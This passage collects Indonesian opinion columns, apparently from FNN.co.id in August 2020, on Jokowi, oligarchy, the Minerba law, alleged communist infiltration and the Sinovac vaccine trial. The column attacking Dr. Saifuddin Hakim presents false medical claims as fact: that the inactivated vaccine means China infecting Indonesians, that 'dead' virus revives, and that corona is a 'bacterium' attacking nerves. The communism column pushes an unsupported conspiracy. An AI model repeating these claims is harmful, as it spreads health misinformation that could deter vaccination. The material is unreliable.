ini, menurut Pak Amien, sengaja ‘dipelihara’ oleh rezim untuk menstabilkan situasi politik. Tak dapat disangkal uraian Pak Amien. Oligakrhi di Indonesia ini mengikuti teori piramida organisasional. Posisi-posisi puncak piramida oligarkhi ada di tangan beberapa penguasa kuat. Yaitu, kuat di pemerintahan dan kuat secara finansial. Namun, ada lagi lapisan oligarkhi di bawahnya yang diberi kesempatan untuk menikmati bayaran besar. Mereka oligarkhi itu jumlahnya, sesuai pelacakan sejumlah lembaga, mencapai lebih 350 orang. Mereka yang memegang posisi-posisi penting di institusi bidang hankam. Oligarkhi kelas menengah ini ditempatkan di meja-meja basah ratusan BUMN. Bagian yang paling menohok di dalam risalah enteng-entengan Pak Amien adalah Bab 1. Mantan Ketua MPR ini blak-blakan menyebut Jokowi sebagai pemecah belah bangsa. Perpecahan sesama anak bangsa terlihat sangat nyata dan mencolok. “Tak berlebihan bila dikatakan hasil pembangunan politik di masa Jokowi telah memecah belah persatuan dan kesatuan bangsa Indonesia”. Pak Amien menyimpulkan, kecurigaan dan ketakutan Jokowi terhadap sikap kritis umat Islam sangat nyata terlihat. Dia bagian yang menjelaskan tentang nepotisme yang selama ini dianggap tak akan mungkin dilakukan oleh Jokowi, Prof. Amien Rais mengecam dukungan Jokowi dalam pencalonan anaknya di Pilkada Solo dan menantunya di Pilkada Medan. Keluarga presiden ikut pilkada memang tidak melanggar konstitusi. Tetapi, sangat jelas melanggar etika kepemimpinan, menurut Pak Amien. Yang menjadi masalah ialah, Prof Amien Rais terlalu lama menyadari bahwa etika tidak lagi menjadi tuntunan. Sebab, kekuasaan terlalu gurih untuk diganggu oleh zat penetral yang disebut etika. Penulis adalah Wartawan Senior FNN.co.id.

Ada Apa dengan Dokter Saifuddin Hakim?

by Mochamad Toha Jakarta FNN - Jumat (13/8). Setidaknya ada dua kali status di Facebook atas nama Muhammad Saifuddin Hakim, dokter dan peneliti di Universitas Gadjah Mada-UGM Jogjakarta melakukan “pelecehan intelektual” terhadap Prof. Sukardi alias Ainul Fatah, ahli mikrokultur bakteriologi. Gelar Profesor di depan nama AF diragukan: Profesor. Gelar apa ini? Profesor adalah gelar yang tidak didapat dari mengikuti perkuliahan. Gelar profesor diberikan oleh suatu lembaga, entah itu universitas, institut atau lembaga penelitian, misalnya LIPI. Gelar Prof di depan nama Ainul Fatah ini dari institusi mana? Tidak Jelas. Saya sendiri pernah melacak ke teman2 yang ada di LIPI untuk mengecek databse mereka, adakah nama ini? tidak ada. Saya cek ke databse Dikti, nihil. Lanjut, klaim tentang enam ahli dunia. Penemu obat atau ramuan anti-covid-19. Well, kalau ini tidak perlu saya bahas panjang lebar, kalau track record penelitian saja tidak bisa dilacak, buat apa menanggapi klaim semacam ini. Saya sendiri pernah didatangi bapak-bapak paruh baya di kantor menanyakan obat covid-19 bikinan Sukardi. Saya jelaskan apa adanya, dan alhamdulillah beliau mau nerima penjelasan saya. (Lega sekali saya ketika itu.) Kesimpulan : Gelar professor yang disematkan kepada Ainul Fatah alias Sukardi sangat diduga kuat adalah fiktif. Nama dr. Muhammad Saifuddin Hakim, MSc, PhD menjadi viral sejak wawancara Erdian Anji Prihartanto, penyanyi yang akkrab dipanggil Anji, dengan klaim Hadi Pranoto yang disebut dalam kanal Youtube-nya sebagai penemu Antibodi Covid-19. Mengutip Kompas.com, Minggu (02/08/2020, 18:50 WIB), dalam video itu, Hadi Pranoto memperkenalkan diri sebagai profesor sekaligus Kepala Tim Riset Formula Antibodi Covid-19. Ia menyebutkan bahwa cairan Antibodi Covid-19 yang ditemukannya bisa menyembuhkan ribuan pasien Covid-19. Cairan antibodi Covid-19 tersebut diklaim telah didistribusikan di Pulau Jawa, Bali, dan Kalimantan. Seingat saya, selama ini Prof AF tidak pernah mengklaim dirinya sebagai penemu Antibodi Covid-19. Jangankan mengklaim penemu Antibodi Covid-19, menyebut dan menulis nama Prof AF saja, saya pernah “dilarang” langsung oleh Prof AF saat bertemu. Sehingga, dalam menulis Formula Probiotik Siklus/Komunitas yang ditemukannya pun saya cuma tulis Formulator. Kalau pun sekarang ini saya menyebut namanya, karena sudah sangat terpaksa, apalagi nama Prof AF sudah dibawa-bawa oleh Mas Dokter Hakim. Dalam status FB Masih di RS EMC Dokter Hakim yang di-share pada Rabu (12 Agustus pukul 14.00) saja masih menyindir dan “menyerang” Prof AF, meski tak menyebut namanya secara langsung. Coba simak isi statusnya dalam FB berikut: Bandingkan dengan pihak2 yang mengaku "melakukan uji klinik obat/ramuan COVID-19" namun tidak jelas protokolnya bagaimana, sesuai standar etik ataukah tidak, siapa yang memonitor, kemudian "sok-sokan" tampil sebagai superhero dengan bilang: “Saya menemukan obat atau vaksin COVID-19” (!!!). Meski tidak menyebut nama, namun arahnya sudah jelas, yang dituju itu Prof AF! Padahal, dari jejak digital hanya Agung Suradi dan Hadi Pranoto yang pernah mengaku sebagai penemu “obat” Covid-19. Humas Sinovac? "Betulkah manusia dijadikan “kelinci percobaan” Vaksin Sinovac asal China, karena vaksin-nya tidak pernah diuji coba di hewan terlebih dahulu? Apakah fase pre-klinis dilewati demi “cepat-cepat” mendapatkan vaksin Covid-19?" Itulah kalimat pembuka Mas Dokter Hakim dalam status FB-nya, Rabu (12/8/2020). Apakah kali ini dokter dan peneliti muda dari UGM itu sudah menjadi “humas” Vaksin Sinovac asal China itu? Hanya beliau yang tahu isi hatinya. “Melalui postingan ini, sebelumnya kami memohon kepada pihak-pihak yang tidak paham bagaimana uji pre-klinis dan uji klinis vaksin dilakukan, untuk tidak berbicara sesuatu yang dia sendiri tidak paham ilmunya,” lanjutnya. Menurutnya, sebagian pihak yang menghembuskan hoax bahwa Uji Klinis Fase III ini “terburu-buru karena vaksin-nya sendiri tidak pernah diuji coba ke hewan terlebih dahulu”. “Ini Salah!!!” tegasnya. Kandidat vaksin Sinovac Sudah melewati uji pre-klinis secara in vivo dan penelitiannya sudah diterbitkan di jurnal terkemuka, Science. Berikut publikasi penelitiannya: https://science.sciencemag.org/content/369/6499/77 Di situ dijelaskan, bahwa kandidat vaksin yang dikembangkan oleh Sinovac ini menunjukkan potensi imunogenisitas yang menjanjikan(promising) dan sudah diuji coba ke tikus dan non-human primate, yaitu di macaque (abaikan data yang rumit itu). Hewan coba divaksinasi dengan strain SARS-CoV-2 asal China, kemudian dipajankan (di-challenge) dengan beberapa virus SARS-CoV-2 yang diisolasi dari berbagai negara (SARS-CoV-2 isolat dari China sendiri, Italia, UK, dan lain-lain). (Catatan saya: dipajankan itu semacam diadu. Misalnya, tubuh hewan yang sudah diberikan vaksin X, lalu dimasuki virus Covid-19. Isolat itu semacam virus atau calon vaksin yang sudah dibiakkan). Hasilnya, menurut Mas Dokter Hakim, hewan-hewan yang sudah mendapatkan vaksinasi ini terproteksi ketika mereka dipajankan dengan virus SARS-CoV-2 sesungguhnya. Pun, mereka sudah melalui Uji Klinik Fase I dan II, meskipun hasilnya belum terpublikasi. Akan tetapi, laporan Fase I dan II tersebut tentu sudah diterima Badan POM sebagai regulator pelaksanaan Semua uji klinis di Indonesia. Menurutnya, Badan POM Tidak Akan mengeluarkan izin PUPK (Pengajuan Persyaratan Uji Klinik) kecuali jika persyaratan uji klinik fase III lengkap, termasuk laporan dari Uji Klinik Fase I dan II. Selain itu, dalam pelaksanaan uji klinik, ada banyak pihak yang terlibat untuk memastikan keamanan subjek penelitian, bukan hanya tim peneliti, tetapi juga pihak-pihak di luar tim peneliti, yaitu: 1. Komite Etik Fakultas Kedokteran --> mereka akan mengeluarkan izin jika semua persyaratan etik terpenuhi. 2. DSMB (Drug Safety Monitoring Board) --> panel ahli independen yg menilai setiap laporan adverse events selama uji klinik berlangsung. Mereka Berhak sewaktu-waktu menghentikan uji klinik. 3. Badan POM sebagai regulator utama. 4. External monitor untuk memastikan pelaksanaan uji klinik sudah dijalankan sesuai prosedur yang standar [SOP harus dijalankan, semua peneliti harus sudah dilatih GCP (Good Clinical Practice) misalnya, dan seterusnya]. Bandingkan dengan pihak-pihak yang mengaku “melakukan uji klinik obat/ramuan Covid-19” namun tidak jelas protokolnya bagaimana, sesuai standar etik ataukah tidak, siapa yang memonitor, kemudian “sok-sokan” tampil sebagai superhero dengan bilang: “Saya menemukan obat atau vaksin COVID-19” (!!!). Begitu tulis Mas Dokter Hakim dalam status FB-nya. Selain itu, sambungnya, Uji Klinis Fase 3 Vaksin Sinovac ini juga dilakukan di Brazil: https://clinicaltrials.gov/ct2/show/NCT04456595 “Sekian. Disclaimer: Saya tidak memiliki hubungan apapun dengan Sinovac dan uji klinik Vaksin Sinovac yang sedang berlangsung,” ungkap Mas Dokter Hakim. Meski Mas Dokter Hakim sudah declare “tidak memiliki hubungan apapun dengan Sinovac” namun dalam menjawab komentar dari Facebooker lainnya, ada kesan, Mas Dokter Hakim sudah menjadi Purel untuk perusahaan Sinovac China. Nanda Seftyana Mungkin yg mjd salah satu pertanyaan publik adalah, mengapa vaksin yg dipilih harus vaksin yg di produksi oleh sinovac? Diantara kandidat vaksin yg dikembangkan di seluruh dunia, mengapa harus vaksin dari sinovac? Karena (mungkin) beberapa kalangan publik berkaca pada keefektifan rapid test yg dibeli sebelumnya yg juga berasal dr cina. Terima kasih postingannya, dokter, alhamdulillah mengedukasi. Muhammad Saifuddin Hakim Dari bbrp kandidat vaksin yg ada, Oxford memakai teknologi viral vector vaccines, Moderna memakai mRNA vaccines, sedangkan Sinovac dan Sinopharm memakai teknologi inactivated vaccines. Dari 3 teknologi itu, yg dimiliki oleh Biofarma adalah inactivated vaccines, shg memungkinkan transfer teknologi secara cepat jika vaksin lolos uji fase 3. Vaksin Covid-19 dibuat berdasarkan patogen yang di non aktifkan (inactivated). Pembuatan vaksin dilakukan dengan menumbuhkan virus corona SARS-CoV-2 di laboratorium. Virus ini lalu dinonaktifkan lewat reaksi kimia untuk dijadikan vaksin. Sekedar mengingatkan lagi, jika memang Vaksin Sinovac yang siap Uji Klinis di Indonesia itu dari Virus Corona yang sudah “dilemahkan atau dimatikan”, itu sama saja dengan China sedang menginfeksi rakyat Indonesia dengan Covid-19 secara massal. Di antara virus yang “dimatikan” itu, dipastikan ada yang dorman (tidur). Nah, yang dorman dan dikira mati itu pada saat atau dengan suhu tertentu akan hidup lagi! Catat! Virus atau bakteri corona itu mahluk hidup yang cerdas! Misalnya, bila virus corona dihantam desinfektan chemikal (kimia), maka asumsi umumnya mereka mati. Tapi, ternyata saat ini mutasi corona sampai di atas 500 karakter atau varian. Karena gennya bermutasi, mutannya ada yang “bersifat” tidak hanya ke reseptor Angiotensin Converting Enzyme 2 (ACE-2) saja, tapi langsung menginfeksi sel-sel saraf. Manifesnya bisa meningitis (contoh kasus artis Glen Fredly kemarin). Ada juga yang langsung berikatan atau nempel di sel-sel darah merah, sehingga manifestasi klinisnya seperti DB, tapi setelah dites PCR: positif. “Ini banyak ditemukan di pasien-pasien anak di rumah sakit,” ungkap seorang dokter spesialis anak. Apakah Mas Dokter Hakim sudah menyaksikan kasus seperti itu yang terjadi di depan mata dokter kerabat sampeyan? Penulis adalah Wartawan Senior FNN.co.id.

Jokowi atau Ma'ruf Amin Yang Lengser?

by Tony Rosyid Jakarta FNN – Jum’at (14/08). Sejumlah pihak ingin Jokowi lengser. Ini hal biasa di alam demokrasi. Sah-sah saja. Asal, jangan makar. Sekedar ingin, berucap dan menuntut, tak dilarang oleh konstitusi. Di negara hukum, semua harus berbasis konstitusi. Kenapa minta Jokowi mundur? Tentu, mereka punya alasan. Baik alasan hukum, ekonomi maupun politik. Hukum dianggap terlalu tajam ke lawan dan memihak konglomerasi. Pertumbuhan ekonomi sudah minus -5,32 persen. Bahkan lebih parah kalau dhitung dari awal Januari 2020, ekonomi nyungsep sudah -10,34 persen. Kegaduhan politik tak ada tanda-tanda akan berhenti. Macam-macam kegaduhan yang timbul. Intinya, mereka nggak puas dipimpin oleh Jokowi. Negara jadi kacau balau dan amburadul, kata mereka. Kondisi ini tidak bisa dibiarkan terus-menerus. Salah satu cara untuk mengatasi masalah bangsa adalah dengan meminta Jokowi lengser atau mundur. Tak hanya terbatas Jokowi. Ada juga pihak yang ingin Ma'ruf Amin mundur. Pertama, ada celah konstitusional, yaitu mundur dengan alasan uzur. Kedua, dicari-cari salahnya agar bisa didesak untuk mundur. Tentu dengan berbagai kompensasi. Ketiga, posisi wapres saat ini sangat strategis untuk maju di pilpres 2024. Semua kemungkinan selalu terbuka. Pada akhirnya, apakah Jokowi yang akan lengser? Atau Ma'ruf Amin yang terpaksa mundur? Atau kedua-keduanya lengser? Atau sebaliknya, keduanya tetap bertahan dan bersinergi sebagai Presiden dan Wapres hingga 2024. Hitung-hitungan politiknya, siapa yang paling potensial untuk bertahan? Jokowi, atau Ma'ruf Amin? Namanya juga kalkulasi. Bisa tepat, bisa juga meleset. Sebab, politik selalu dinamis. “Segala kemungkinan bisa terjadi”, kata wartawan senior FNN.co.id Tjahya Gunawan mengutip pendiri dan pemilik Kompas Grup, Jacob Oetama. Covid-19 yang efeknya sangat terasa di bidang ekonomi telah membuat pemerintahan Jokowi tampak semakin melemah dan kehilangan legitimasi. Rakyat fokus pada Jokowi sebagai obyek, karena Jokowi kepala pemerintahan. Semua kebijakan ada di tangannya. Terutama terkait penanganan covid-19, Ma'ruf nyaris sama sekali tak dilibatkan. Suaranya Ma’tuf Amin tak terdengar di media. Kecuali hanya sekali darling dengan Anies Baswedan dan Ridwan Kamil selama masa pandemi. Makantya wajar saja kalau masyarakat bertanyata-tanya, kemana saja Wapres Ma’ruf Amin. Apakah sehat-sehat atau sakit? Penanganan covid-19 sangat mengecewakan, kata pihak oposisi. Baik dari sisi kesehatan maupun ekonomi. Segala hal-ihawal terkait dengan kekecewaan rakyat atas gagalnya penanganan covid-19 otomatis dibebankan kepada Jokowi. Belum lagi munculnya Perppu Corona yang jadi UU Nomor 2/2020 dituding publik sebagai ajang bancakan uang negara oleh korporasi dengan memanfaatkan situasi pandemi. Hebatnya, meskipun bancakan, mereka tak bisa dituntut hukum, baik pidana, perdata maupun TUN. Apa indikator gagalnya? Juni lalu, Indonesia masuk rangking ke 97 dari 100 negara dalam menghadapi covid-19. Rangking ke-3 dari bawah. Artinya? Sangat Parah! Di bulan Juli Indonesia urutan ke 143 dari 215 negara. Inilah kenyataannya. Dinilai oleh banyak tokoh bangsa, bahwa di bawah kepemimpinan Jokowi negara penuh dengan masalah. Faktor inilah yang kemudian mendorong para tokoh bangsa tersebut berkumpul dalam Koalisi Aksi Menyelamatkan Indonesia (KAMI). Berkumpul disitu Abdullah Hehamahua, Din Syamsudin, Gatot Nurmantyo, Gus Aam, Habib Rizieq, Refly Harun, Rizal Ramli, Rocky Gerung, Said Didu, dan ratusan tokoh lintas agama, etnis dan profesi lainnya. Mereka semua sepakat, Jokowi harus diingatkan! Kalau nggak mau? Semula hanya 9 tokoh oposisi yang gerah. Lalu berkembang dan melibatkan puluhan hingga ratusan tokoh nasional dari semua elemen bangsa. Selasa tanggal 18 Agustus nanti mereka akan membacakan maklumatnya di tugu proklamasi. Dalam waktu yang sama, para tokoh lokal akan berkumpul di berbagai daerah untuk memberi dukungan kepada KAMI dan maklumat yang akan dibacakan. Gerakan moral KAMI cepat menyebar dan telah masif menjadi gerakan nasional. Munculnya KAMI sangat menguntungkan bagi Ma'ruf Amin. Ini peluang besar. Lepas Ma'ruf punya keinginan atau tidak untuk memanfaatkan peluang itu. Yang pasti, peluang sangat besar bagi Ma'ruf Amin untuk merefresh kekuatan dan posisioning dirinya. Terlebih ketika NU saat ini dalam kondisi kecewa terhadap Jokowi. Terutama ketika Menteri Agama lepas dari genggaman NU. Ini bukan soal jatah-menjatah. Tapi, orang NU merasa lebih paham dalam mengelola Kementerian Agama daripada Fahrul Rozi yang yang pensiunan Jendral Angkatan Darat. Ma'ruf Amin dari NU, dan majunya Ma'ruf Amin sebagai Wapres salah satu rekomendasinya dari PBNU. Selain KAMI dan NU, Ma'ruf juga bisa bersinergi dengan Prabowo yang kabarnya masih berambisi untuk nyapres lagi di 2024. Bagaimana dengan PDIP? Dalam politik, semua berbasis kalkulasi pragmatis. Selama ini, PDIP seringkali dikecewakan oleh Jokowi. Misalnya, Jokowi lebih nyaman dengan Luhut Binsar Panjaitan (LBP) dari pada dengan ketua umumnya sendiri, yaitu Megawati. Kondisi obyektif PDIP yang kecewa terhadap Jokowi memungkinkan untuk membangun sinergi politik dengan Ma'ruf Amin. Apalagi, terpilihnya Ma'ruf Amin sebagai Cawapres Jokowi kabarnya atas endorse langsung dari Megawati ke Jokowi. Kloplah! Jadi, jika dikalkulasi secara politik, posisi Ma'ruf Amin saat ini bisa lebih diuntungkan dari pada Jokowi. Tapi, semua dikembalikan kepada kemampuan Ma'ruf Amin memanfaatkan puzzle-puzzle kekuatan yang tersedia itu untuk memperkuat posisioningnya dirinya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

UU Minerba, Skandal Konstitusi Terbesar Abad Ini (Bag. Kedua)

by Kisman Latumakulita Jakarta FNN – Jum’at (14/08). Wakil Ketua Komisi VII DPR periode 2014-2019, Tuan Ridwan Hisjam pada persidangan menjelang berakhirnya masa jabatan DPR periode lalu, selalu mendesak pemerintah untuk segera menyerahkan DIM revisi pemerintah. Kata Ridwan Hisjam sebagaimana dikutip Kontan.co.id, "jadi kami tetap siap untuk membahas RUU minerba, tergantung kesiapan dari pemerintah menyerahkan DIM. Dalam waktu dua minggu kita pernah selesaikan pembahsan UU. Masih ada waktu satu bulan, agar bisa kita selesaikan," kata Ridwan yang saat itu menjadi Ketua Sidang Rapat Kerja Komisi VII DPR RI dengan Menteri ESDM, Rabu (29/8/2019). Ridwan Hisjam mengingatkan pemerintah, apabila revisi UU Minerba belum rampung hingga DPR periode ini (2014-2019) berakhir, maka pembahasan akan kembali dari nol lagi dengan membahas naskah akademik. Menghadapi kesiapan DPR untuk membahas RUU Perubahan UU Nomor 4 Tahun 2009 itulah pemerintah melalui Sekjen Kementerian ESDM mengirim Surat Nomor 1743/06/SJN.R/2019, tertanggal 27 September 2019. Garis besar dari Surat Sekjen Kementerian ESDM ini adalah, “berdasarkan arahan Presiden, untuk menunda dulu pembahasan RUU Mineral dan Batubara, mengingat masa jabatan anggota DPR akan berakhir”. MK Jangan Dungu dan Dongo Pemerintah telah menarik diri untuk bersama-sama DPR membahas RUU Perubahan Atas UU Nomor 4 Tahun 2009 itu. Tindakan pemerintah ini jelas punya konsekwensi hukumnya. Apa itu konsekwensi hukumnya? DIM Pemerintah yang telah diserahkan kepada DPR, yang jumlahnya 938 DIM tersebut tidak dibahas. Memangnya DPR mau membahas DIM dengan setan atau iblis? Jelas saja tidak bisa. UUD 1945 bilang harus membahas bersama-sama dengan pemerintah. Tetapi justru fakta urut-urutan cerita tentang RUU Atas Perubahan UU Nomor Tahun 2009 itulah, yang akan membawa kita berurusan dengan akal dan akal-akalan. Urusan ini menjadi gampang-gampang susah. Perkiraan saya, orang-orang hukum akan menyodorkan masalah sebagai berikut; Pertama, apakah DIM yang telah diserahkan oleh pemerintah kepada DPR, tetapi belum pernah dibahas bersama-sama antara DPR dan Pemerintah dalam rapat, yang diselenggarakan khusus untuk membahas DIM RUU itu, secara hukum dapat dianggap sebagai telah dibahas? Kedua, kalau dianggap telah dibahas. Orang hukum akan menyodorkan pertanyaan berikutnya, ilmu hukum macam apa, dan dari dunia mana yang dipakai untuk membenarkann anggapan konyol dan primitive itu? Tidak ada partner untuk pembahas DIM RUU. Tetapi dianggap telah dibahas, hanya karena DIM telah diserahkan. Itu hanya ada pada ilmu hukum yang biasa diotaki oleh korporasi dan oligarki licik, picik, tamak dan culas. Korporasi dan oligarki terkenal memang lihai dalam banyak akal. Tetapi sekaya apapun akalnya korporasi dan oligarki itu, hanya iblis dan setan gondoruwo yang bisa membenarkan argumen bahwa “penyerahan DIM yang tanpa paraf tersebut sama kedudukan hukumnya dengan telah melakukan pembahasan”. Rasanya hanya iblis dan setan gondoruwo juga pusing untuk membebek pada argumen yang sangat konyol, ngwur dan primitif tersebut. Sebab iblis dan setan gondoruwo boleh sudah tahu tentang bahaya argumen itu. Bahkan bisa lebih celaka dari kebiasaan trik-trik iblis dan setan gondoruwo menggolkan hasratnya untuk mencelakakan orang-orang beriman. Orang-orang non hukum juga akan tertawa terbahak-bahak sebagai bentuk ejekan kepada DPR yang terhormat. Ko bisa ya “penyerahan DIM disamakan popsisi hukumnya dengan telah pembahsan pembahasan DIM?” Apalagi DIM yang diserahkan dulu itu tanpa diparaf. Bahkan belum sekalipun dibahas. Dengan demikian, kedudukan hukumnya sangat jelas. Tidak bisa untuk dilanjutkan pembahasannya. Persis seperti dengan argument Ridwan Hisjam. Bila RUU itu harus dilanjutkan “carry-over” kepada DPR periode berikutnya (2019-2024), maka prosedur hukumnya harus dimulai lagi dari awal. Naskah akademik dan proses standar lainnya harus dibuat baru lagi. Tidak bisa dengan melanjutkan tahap-tahapan yang sudah dilakukan oleh DPR periode 2014-2019. Pasal 71A UU Nomor 15 Tahun 2019 tentang Perubahan UU Nomor 12 Tahun 2011 Tentang Pembentukan Peraturan Perundangan, jelas menyediakan kaidah tersebut. Kata-kata pasal 71A itu menyatakan, dalam hal “pembahasan RUU sebagaimana dimaksud pada pasal 65 ayat (1) telah memasuki pembahasan DIM” (tanda petik ), kan sudah jelas berang itu. DPR yang terhormat, DIM itu harusnya telah dibahas. Bukannya harus telah diserahkan saja. Membahas dan menyerahkan adalah dua peristiwa hukum yang berbeda antara langit dan bumi. Masa soal yang sesederhana ini DPR tak mengerti juga? Kan konyol bangat dong. Kalau untuk kata “membahas dan menyerahkan” saja, DPR tidak bisa bedakan, bagaimana mungkin DPR bisa diharapkan untuk mengurus negara bersama-sama dengan pemerintah? Buat Putusan Yang Membanggakan Tetapi persoalannya bisa lebih konyol lagi. Dimana saja letak kekonyolannya tersebut? Kalau sampai Mahkamah Konstitusi (KM) juga ikut-ikutan tidak mengerti konsekwensi hukum antara “membahas dan menyerahkan DIM”. Sebab kalau sampai MK juga tidak mengerti, maka ini nyata-nyata merupakan skandal konstitusi terbesar dan terhebat di abad ini. Beta terpaksa harus menyebutnya sebagai skandal konstitusi, bila Mahkamah Konstitusi hanya bisa mengamini, dan menyetujui argumentasi pemerintah DPR. Dengan segala argument yang membenakan, kira-kira MK menyatakan begini, “UU Nomor 3 Tahun 2020 ini dinyatakan sah secara konsitusi. Ingat, kalau sampai amar putusan MK nanti seperti itu, maka putusan itu akan dicatat sebagai skandal konstitusi paling top dan terpopuler di abad sekarang. Dengan demikian, MK juga telah menyempurnakan dirinya bagian tak terpisahkan dari prilaku korporasi dan oligarki licik, picik tamak dan culas. Dengan menyatakan bahwa "UU Nomor 3 Tahun 2020 ini sah secara konstitusi, maka itu akan kembali mengingatkan masyarakat terhadap prilaku mantan Ketua MK Akil Mochtar yang telah diganjar dengan hukuman seumur hidup. Begitu juga dengan mantan hakim MK Patrialis Akbar, dalam kasus impor daging sapi Basuki Hariman. Patrialis Akbar tersandung uji materi UU Nomor 41 Tahun 2014 tentang Pertenakan dan Kesehatan Hewan. Yang tidak kalah untuk diingat adalah Prof. Dr. Arief Hidayat yang selama menjabat Ketua MK, telah dua kali melanggar kode etik sebagai hakim (Kompas.com 16/01/2018). Sebagai benteng penjaga dan pengawal gawang konstitusi, MK harusnya membuat keputusan yang membanggakan rakyat Indonesia. Bukan keputusan yang hanya membanggakan korporasi dan oligarki licik, picik, tamak dan culas. Keputusan yang kalau dibaca ratusan tahun yang akan datang, masih sangat membanggakan anak-anak mahasiswa fakultas hukum. Untuk itu, beta berharap agar para hakim MK mau meluangkan sedikit waktu untuk membaca dan mendalami cara bekerja koporasi seperti Rocafeller dan J.P Morgan serta kelompok Wall Street dibalik pembentukan UU Bank Sentarl Amerika yang terkanl dengan “The Fed's”. Begitu juga dengan peranan Nathan Mayer Rothschild dibalik pembantukan UU Bank of England. Setiap peristiwa besar dibalik pembentukan UU adalah upaya menampung dan menggolkan kepentingan korporasi dan oligarki licik, picik, tamak dan culas. Korporasi yang tidak pernah merasa puas untuk menjadi draculla menghisap darah rakyat di tambang-tambang barutabara, nikel, emas, perak, tembaga, mangan, biji besi dan bauksit. (habis). Penulis adalah Wartawan Senior FNN.co.id

Jangan Lengah, Komunis Masih Merayap

by M. Rizal Fadillah Jakarta FNN – Jum’at (14/08). Ketika Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) didiskusikan, maka isu Partai Komunis Indonesia (PKI) dan faham Komunisme mengemuka. Ada Ketetapan MPRS yang tidak dicantumkan. Adapula soal Trisila dan Ekasila, yang ditambah dengan posisi agama yang dikerdilkan. Reaksi keras atas RUU HIP membuat pengusung "lempar handuk". Pemerintah cepat-cepat menerapkan langkah "cari aman" dengan menunda pembahasan. Namun tidak berhenti sampai disitu. Langkah cadangan dipersiapkan dengan tergesa-gesa. Maka majulah RUU Badan Ideologi Pancasila (BPIP) ke DPR. RUU BPIP diajukan. Konon sebagai mengganti RUU HIP. Anehnya tanpa ada pencabutan terlebih dahulu terhadap RUU HIP. Meskipun berbeda, tetapi tetap bertautan. BPIP sebenarnya juga menjadi bagian terpenting dari rencana besar isi RUU HIP sebelumnya. RUU HIP adalah akar masalah, "al ashlu lil masail". Sedangkan RUU BPIP merupakan cabang "al far'u". Buahnya adalah makna Pancasila yang disimpangkan dan diperalat. Pancasila yang kebenarannya hanya yang ditafsirkan berdasarkan selera penguasa atau BPIP. Rakyat memahami Pancasila yang berlawanan dengan selera penguasa, bisa saja dikasih label makar terhadap dasar negara. Jembatan dari kedua RUU adalah pengakuan dan filosofi dari rumusan Pancasila 1 Juni 1945. Pancasila yang adaTrisila dan Ekasila. Agama bagian dari kebudayaan. Inilah pintu masuk komunisme itu. Ini sama dengan membuka jalan atau pintu yang selebar-lebar untuk penafsiran terhadap faham komunisme dan marxisme. Setidaknya untuk ke depan, ideologi kebangsaan yang berpadu dengan komintern (internasionalisme), demokrasi rakyat, kesejahteraan kaum proletar, dan ketuhanan sebagai produk budaya. Beginilah rencana besar dari RUU HIP, yang sekarang disempurnakan dengan casing baru, dan diberina nama “RUU BPIP”. Kader komunis meyakini bahwa lembaga atau organisasi PKI bisa saja bubar. Tetapi ideologi komunis tidak. Ideologi komunis tetap melekat, dan potensial untuk dikembangkan melalui Organisasi Tanpa Bentuk (OTB). Penyusupan merupakan model gerakan aktual. Perjuangannya utama adalah meminggirkan musuh utama komunis, yaitu TNI dan umat Islam dalam pembuatan keputusan politik negara. Salah satu kesuksesan besar adalah lahirnya Ketetapan MPR Nomor VI tahun 2000 yang memisahkan TNI dengan Polri. Ketetapan MPR ini menjadi landasan bagi kebijakan politik yang diskriminatif. Semua sudah tahu kalau pengembangan dan peran politik Polri lebih kental dan agresif ketimbang TNI. Aktualnya TNI "disawahkan", dan dengan Inpres 6 tahun 2020 "dicovidkan". Sementara untuk umat Islam dibangun stigma intoleran, radikal, ekstrim, khilafah, atau lainnya. Sebelumnya teroris dan ISIS. Kurikulum berbau jihad dan qital (perang) dihapuskan. Moderasi terhadap isu deradikalisasi dipropagandakan. Agama disekulerkan. Pelecehan dan kriminalisi terhadap ulama masif dilakukan. Komunis sangat mahir dalam mengadu domba antar umat beragama. Rezim dan penguasa sendiri tidak berupaya mencegah perkembangan komunisme. Bahkan terkesan seperti membiarkan. Tidak ada "aware" terhadap bahaya gerakan komunis. Dengan enteng menyatakan "mana ada PKI ?" dan "komunisme itu sudah dilarang". Wajar saja jika rakyat, khususmya umat Islam menduga-duga bahwa penyusupan faham komunis disamping terjadi di parlemen, juga sudah masuk sampai ke pusat kekuasaan. Apalagi Partai Komunis Cina di masa rezim ini sudah bisa bekerjasama erat dengan partai politik dan institusi resmi negara. Demikian juga pejabat komunis Cina telah sukses untuk menginjakan kaki di ruang istana negara. Kader-kader komunis saat ini sangat mahir. Mereka bergerak dengan pola tiarap dan merayap. Mereka berusahamenghindarkan diri dari posisi sasaran tembak. Bahkan berlindung dibalik ideologi Pancasila. Mengumumkan kalau merekalah yang paling Pancasilais. Seolah-olah menjadi pembela dan pengembang Pancasila. Bangsa Indonesia harus siaga setaip saat menghadapi penyusupan faham komunisme. Sebaiknya umat Islam dan rakyat Indonesia tidak boleh puas hanya dengan keberadaan Ketetapan MPR yang melarang PKI dan Komunisme. Atau keberadaan perundang-undangan lainnya. Mereka kader-kader neo komunis selalu bergerak di lapangan dengan bertiarap dan merayap. Infiltrasi di berbagai institusi dengan proteksi ideologi. Berstrategi model katak yang menendang dan melompat. Katak tidak pernah bergerak mundur. Katak bergerak hanya untuk beranak pinak menciptakan cebong-cebong baru. Penulis adalah Pemerhati Politik dan Kebangsaan.

Apakah Benar Kas Negara Kosong?

by Asyari Usman Jakarta FNN (Kamis, 13/08/2020). Belakangan ini banyak spekulasi tentang kondisi keuangan negara. Ada yang nengatakan negara sudah tidak punya uang lagi. Ada yang mengatakan saldo kas negara tinggal untuk penggunaan beberapa bulan lagi. Bahkan, ada yang menyebutkan dana Covid-19 sebesar hampir 700 triliun itu pun cuma ada angkanya saja, tidak ada uangnya. Begitulah spekulasi yang berseliweran. Sekarang, kita mau bertanya dan ingin mendapatkan jawaban dari Presiden Jokowi sendiri. Atau siapa saja yang berkompeten untuk menjelaskan. Apakah benar kas negara kosong? Apakah benar dana Covid-19 tidak ada duitnya, hanya angka saja? Sementara menunggu jawaban itu, mari kita simak sejumlah pertanda tentang spekulasi dana Covid-19 yang tidak ada uangnya. Pertama, Pemprov dan Pemkab-Pemko diberi kewenangan untuk menggunakan alokasi dana APBD bagi kepentingan penanganan pandemi Corona. Kedua, kepala desa boleh mengalihkan pemakaian dana desa. Juga untuk keperluan Covid-19. Ketiga, ada informasi keras yang menyebutkan sekian banyak penyedia APD (alat pelindung diri) masih belum 